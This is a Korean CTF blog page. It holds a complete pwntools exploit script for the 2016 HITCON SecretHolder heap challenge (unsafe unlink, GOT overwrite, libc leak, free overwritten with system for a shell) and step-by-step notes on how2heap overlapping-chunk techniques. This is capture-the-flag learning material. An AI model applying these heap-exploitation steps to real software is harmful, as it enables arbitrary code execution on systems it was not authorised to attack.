2016 Hitcon secret holder [Again]
다른 문제들을 풀면서 내가 아직 청크를 컨트롤하는 부분이 많이 미흡하다고 생각했다. 그래서 전에 풀이를 보고 풀었던 Hitcon의 secret holder를 다시 풀어보았다. 물론 풀이를 안보고 풀었다. sleepy_holder까지 풀고 원래 풀던 문제를 다시 잡아야겠다. 처음 풀었던 글에 설명을 썼으니까 여기에는 익스코드만 올려야지 ㅎ.
전에 풀었던 것과 비교해봤는데 릭은 똑같이 했고 이번에는 공격을 free를 system으로 덮어서 풀었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | from pwn import * p = process("./SecretHolder") elf = ELF("./SecretHolder") def keep(size,content): p.sendafter("3. Renew secret\n","1") p.sendafter("3. Huge secret\n",str(size)) p.sendafter("secret: \n",content) def wipe(idx): p.sendafter("3. Renew secret\n","2") p.sendafter("3. Huge secret\n",str(idx)) def renew(idx,content): p.sendafter("3. Renew secret\n","3") p.sendafter("3. Huge secret\n",str(idx)) p.sendafter("secret: \n",content) keep(1,"A"*16) keep(2,"B"*16) keep(3,"C"*16) wipe(3) wipe(2) wipe(1) keep(3,"A"*16) wipe(1) keep(1,"a"*16) keep(2,"b"*16) renew(3,p64(0)+p64(0x21)+p64(0x6020b0-0x18)+p64(0x6020b0-0x10)+p64(0x20)+p64(0xfb0)) wipe(2) keep(2,"c"*8) renew(1,"A"*8+p64(0x6020a8)) renew(2,p64(elf.got["free"])) renew(3,p64(elf.plt["puts"])) renew(1,"a"*8+p64(elf.got["puts"])) wipe(2) puts = u64(p.recv(6)+"\x00"*2) base = puts-0x6f690 system = base+0x45390 binsh = base+0x18cd57 one = base+0xf1145 #0xf1145 0xf02a4 0x4526a 0x45216 print "puts: " + hex(puts) print "base: " + hex(base) print "system: " + hex(system) print "binsh: " + hex(binsh) print "one_shot: " + hex(one) renew(1,"a"*8+p64(binsh)+p64(elf.got["free"])) renew(3,p64(system)) wipe(2) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2017 Codegate Final petshop (0) | 2018.03.27 |
---|---|
2016 Hitcon sleepy holder [Again] (0) | 2018.03.22 |
2017 hitcon training zoo (0) | 2018.03.14 |
2018 N1CTF vote (0) | 2018.03.12 |
2014 Hack.lu CTF OREO (0) | 2018.03.06 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
how2heap overlapping_chunks2
- 링크 <- 출처[shellphish github]
조건
1. free된 청크의 사이즈를 조작할 수 있어야 한다,
1. 청크 5개를 할당한다(p1, p2, p3, p4, p5) . line 27 ~ line 31
2. p4 청크를 free 시킨다. line 53
3. p2 청크의 사이즈를 p3 청크의 사이즈만큼 더한 값으로 설정한다. line 57
#조작한 사이즈 = p1_size+p2_size = 0x1000 + 0x1000 = 0x2000
4. p2 청크를 free 시킨다. line 61 #0x2000짜리 청크를 free한게 된 셈이다.
5. 조작한 청크 사이즈(0x2000)만큼 다시 할당한다. line 65 #그렇게 되면 free 됐었던 p2 청크주소에 할당이 된다.
할당을 하면 할당한 청크안에 p3 청크가 있게 된다. 그래서 p3 청크의 값을 덮을 수 있다.
'Documents > how2heap' 카테고리의 다른 글
how2heap overlapping_chunks (0) | 2018.03.19 |
---|---|
how2heap house of spirit (0) | 2018.03.03 |
how2heap house_of_lore (0) | 2018.03.02 |
how2heap house_of_force (0) | 2018.02.20 |
how2heap unsorted_bin_attack (0) | 2018.01.17 |
how2heap overlapping_chunks
- 링크 <- 출처[shellphish github]
조건:
1. free된 청크의 사이즈를 조작할 수 있어야 한다.
2. small bin과 fastbin의 할당이 자유로워야 한다.
1. p1(0x100-8),p2(0x100-8),p3(0x80-8)을 할당한다. (line 22 ~ line 24)
2. p2를 free한다. (line 33)
3. evil_chunk_size(0x181)와 evil_region_size(0x180-8)를 선언한다. (line 42 ~ 43)
4. free된 p2의 사이즈를 evil_chunk_size(0x181)로 바꾼다. #0x111 에서 0x181로 바뀜.
5. evil_region_size(0x180-8)만큼 할당을 한다. #free된 p2의 사이즈가 0x181이기 때문에 p2의 주소에 할당이 될 것이다. 0x180만큼 할당하게 되면 사이즈가 크기 때문에 뒤에 있던 p3의 값도 덮을 수 있게 된다.
'Documents > how2heap' 카테고리의 다른 글
how2heap overlapping_chunks2 (0) | 2018.03.19 |
---|---|
how2heap house of spirit (0) | 2018.03.03 |
how2heap house_of_lore (0) | 2018.03.02 |
how2heap house_of_force (0) | 2018.02.20 |
how2heap unsorted_bin_attack (0) | 2018.01.17 |
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.
보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.